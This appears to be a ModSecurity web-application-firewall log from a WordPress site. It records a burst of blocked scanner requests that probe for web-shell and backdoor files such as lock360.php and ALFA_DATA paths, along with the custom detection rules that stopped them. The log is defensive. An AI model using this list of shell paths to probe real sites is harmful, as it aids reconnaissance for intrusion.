[Thu May 07 15:26:25.104889 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.106:27067] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "afw-ocvhwfljlt8trSqKCAAAAEs"]
[Thu May 07 15:26:25.302046 2026] [:error] [pid 15631:tid 15687] [client 98.159.43.123:60143] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "afw-oXvP1GkPUuuLfqUM7QAAAMA"]
[Thu May 07 15:26:25.500558 2026] [:error] [pid 15631:tid 15697] [client 98.159.43.154:30315] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/widgets/"] [unique_id "afw-oXvP1GkPUuuLfqUM7gAAAMo"]
[Thu May 07 15:26:25.701187 2026] [:error] [pid 15631:tid 15699] [client 98.159.43.111:37595] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/000.php"] [unique_id "afw-oXvP1GkPUuuLfqUM7wAAAMw"]
[Thu May 07 15:26:25.900348 2026] [:error] [pid 15631:tid 15704] [client 98.159.43.156:32143] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/edit-wolf.php"] [unique_id "afw-oXvP1GkPUuuLfqUM8AAAANE"]
[Thu May 07 15:26:26.099083 2026] [:error] [pid 15631:tid 15710] [client 98.159.43.153:48583] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/audio/"] [unique_id "afw-onvP1GkPUuuLfqUM8QAAANc"]
[Thu May 07 15:26:26.300564 2026] [:error] [pid 15715:tid 15720] [client 98.159.43.151:48217] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/system.php"] [unique_id "afw-oiY4dZsLOttMkcde_AAAAQM"]
[Thu May 07 15:26:26.498454 2026] [:error] [pid 28098:tid 28107] [client 98.159.43.144:52105] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "afw-osvhwfljlt8trSqKCQAAAEc"]
[Thu May 07 15:26:26.696723 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.119:41667] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "afw-osvhwfljlt8trSqKCgAAAEw"]
[Thu May 07 15:26:26.899076 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.163:42595] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/adminfuns.php"] [unique_id "afw-osvhwfljlt8trSqKCwAAAFU"]
[Thu May 07 15:26:27.097976 2026] [:error] [pid 15715:tid 15718] [client 98.159.43.116:49027] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/app.php"] [unique_id "afw-oyY4dZsLOttMkcde_QAAAQE"]
[Thu May 07 15:26:27.297573 2026] [:error] [pid 15715:tid 15740] [client 98.159.43.123:36195] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/files/"] [unique_id "afw-oyY4dZsLOttMkcde_gAAARQ"]
[Thu May 07 15:26:27.497609 2026] [:error] [pid 15715:tid 15734] [client 98.159.43.120:55765] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/beteng83/ws78.php"] [unique_id "afw-oyY4dZsLOttMkcde_wAAAQ4"]
[Thu May 07 15:26:27.702614 2026] [:error] [pid 15715:tid 15724] [client 98.159.43.134:52651] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "afw-oyY4dZsLOttMkcdfAQAAAQc"]
[Thu May 07 15:26:27.900271 2026] [:error] [pid 15715:tid 15739] [client 98.159.43.113:39949] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/chosen.php"] [unique_id "afw-oyY4dZsLOttMkcdfAwAAARM"]
[Thu May 07 15:26:28.097534 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.151:57981] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "afw-pCY4dZsLOttMkcdfCQAAAQk"]
[Thu May 07 15:26:28.297155 2026] [:error] [pid 15715:tid 15730] [client 98.159.43.156:59369] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comments-pagination-next/"] [unique_id "afw-pCY4dZsLOttMkcdfDQAAAQo"]
[Thu May 07 15:26:28.500936 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.155:59363] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/html-api/"] [unique_id "afw-pMvhwfljlt8trSqKEQAAAFg"]
[Thu May 07 15:26:28.704579 2026] [:error] [pid 28098:tid 28117] [client 98.159.43.140:53681] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/class.php"] [unique_id "afw-pMvhwfljlt8trSqKEwAAAFE"]
[Thu May 07 15:26:28.905097 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.153:42075] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/colors/"] [unique_id "afw-pMvhwfljlt8trSqKFAAAAEQ"]
[Thu May 07 15:26:29.102795 2026] [:error] [pid 28098:tid 28123] [client 98.159.43.108:46935] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/group/"] [unique_id "afw-pcvhwfljlt8trSqKFwAAAFc"]
[Thu May 07 15:26:29.301221 2026] [:error] [pid 28098:tid 28120] [client 98.159.43.133:24111] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "afw-pcvhwfljlt8trSqKGQAAAFQ"]
[Thu May 07 15:26:29.500153 2026] [:error] [pid 15631:tid 15711] [client 98.159.43.116:24717] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/module.php"] [unique_id "afw-pXvP1GkPUuuLfqUM8gAAANg"]
[Thu May 07 15:26:29.698133 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.140:61945] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/user.php"] [unique_id "afw-pcvhwfljlt8trSqKGwAAAEY"]
[Thu May 07 15:26:29.901640 2026] [:error] [pid 15631:tid 15708] [client 98.159.43.130:50419] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/about.php"] [unique_id "afw-pXvP1GkPUuuLfqUM8wAAANU"]
[Thu May 07 15:26:30.103082 2026] [:error] [pid 28098:tid 28102] [client 98.159.43.118:34841] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/widget-group/"] [unique_id "afw-psvhwfljlt8trSqKHAAAAEI"]
[Thu May 07 15:26:30.303639 2026] [:error] [pid 15629:tid 15650] [client 98.159.43.140:22751] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/config.php"] [unique_id "afw-pvrIJCALdUrO43lX0wAAABE"]
[Thu May 07 15:26:30.500988 2026] [:error] [pid 15630:tid 15679] [client 98.159.43.105:43027] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2025/"] [unique_id "afw-pnTithRAi4821quPyAAAAJM"]
[Thu May 07 15:26:30.755088 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.129:22101] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "afw-psvhwfljlt8trSqKHQAAAFI"]
[Thu May 07 15:26:30.962724 2026] [:error] [pid 28098:tid 28101] [client 98.159.43.148:31805] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-content/"] [unique_id "afw-psvhwfljlt8trSqKHgAAAEE"]
[Thu May 07 15:26:31.161392 2026] [:error] [pid 15629:tid 15638] [client 98.159.43.146:53363] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/wp-blog.php"] [unique_id "afw-p_rIJCALdUrO43lX1AAAAAU"]
[Thu May 07 15:26:31.359751 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.131:27793] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/chosen.php"] [unique_id "afw-p8vhwfljlt8trSqKHwAAAEM"]
[Thu May 07 15:26:31.560615 2026] [:error] [pid 15630:tid 15662] [client 98.159.43.144:34543] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "afw-p3TithRAi4821quPyQAAAII"]
[Thu May 07 15:26:31.757500 2026] [:error] [pid 15630:tid 15675] [client 98.159.43.152:41893] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/"] [unique_id "afw-p3TithRAi4821quPywAAAI8"]
[Thu May 07 15:26:31.959250 2026] [:error] [pid 15630:tid 15665] [client 98.159.43.106:30217] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "afw-p3TithRAi4821quPzAAAAIU"]
[Thu May 07 15:26:32.156658 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.105:20193] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "afw-qMvhwfljlt8trSqKIAAAAFA"]
[Thu May 07 15:26:32.355252 2026] [:error] [pid 15631:tid 15706] [client 98.159.43.142:64257] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "afw-qHvP1GkPUuuLfqUM9QAAANM"]
[Thu May 07 15:26:32.553022 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.133:38981] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/legacy-widget/"] [unique_id "afw-qMvhwfljlt8trSqKIgAAAEQ"]
[Thu May 07 15:26:32.749302 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.136:23321] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/lock360.php"] [unique_id "afw-qMvhwfljlt8trSqKJAAAAEs"]
[Thu May 07 15:26:32.945289 2026] [:error] [pid 15715:tid 15741] [client 98.159.43.158:61009] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/"] [unique_id "afw-qCY4dZsLOttMkcdfFwAAARU"]
[Thu May 07 15:26:33.142898 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.139:52005] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/navigation-submenu/"] [unique_id "afw-qcvhwfljlt8trSqKJQAAAEA"]
[Thu May 07 15:26:33.341140 2026] [:error] [pid 28098:tid 28107] [client 98.159.43.106:55303] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/file.php"] [unique_id "afw-qcvhwfljlt8trSqKJwAAAEc"]
[Thu May 07 15:26:33.541143 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.122:23549] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/users.php"] [unique_id "afw-qcvhwfljlt8trSqKKAAAAEw"]
[Thu May 07 15:26:33.739834 2026] [:error] [pid 15715:tid 15737] [client 98.159.43.155:52537] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "afw-qSY4dZsLOttMkcdfGAAAARE"]
[Thu May 07 15:26:33.938877 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.105:49465] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/222.php"] [unique_id "afw-qcvhwfljlt8trSqKKQAAAFU"]
[Thu May 07 15:26:34.136299 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.109:51213] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "afw-qsvhwfljlt8trSqKKgAAAFY"]
[Thu May 07 15:26:34.337220 2026] [:error] [pid 15715:tid 15738] [client 98.159.43.117:29131] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/database.php"] [unique_id "afw-qiY4dZsLOttMkcdfHQAAARI"]
[Thu May 07 15:26:34.536706 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.108:38669] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/"] [unique_id "afw-qsvhwfljlt8trSqKLgAAAEQ"]
[Thu May 07 15:26:34.743390 2026] [:error] [pid 28098:tid 28123] [client 98.159.43.112:58649] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/chosen.php"] [unique_id "afw-qsvhwfljlt8trSqKMAAAAFc"]
[Thu May 07 15:26:34.941795 2026] [:error] [pid 15630:tid 15680] [client 98.159.43.140:64537] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/network/"] [unique_id "afw-qnTithRAi4821quPzQAAAJQ"]
[Thu May 07 15:26:35.138783 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.155:45525] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/widgets/"] [unique_id "afw-q8vhwfljlt8trSqKNgAAAEo"]
[Thu May 07 15:26:35.336910 2026] [:error] [pid 28098:tid 28113] [client 98.159.43.147:64559] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/"] [unique_id "afw-q8vhwfljlt8trSqKNwAAAE0"]
[Thu May 07 15:26:35.536585 2026] [:error] [pid 28098:tid 28115] [client 98.159.43.152:38527] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/"] [unique_id "afw-q8vhwfljlt8trSqKOAAAAE8"]
[Thu May 07 15:26:35.733635 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.110:63851] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/woocommerce/includes/import/about.php"] [unique_id "afw-q8vhwfljlt8trSqKOQAAAFA"]
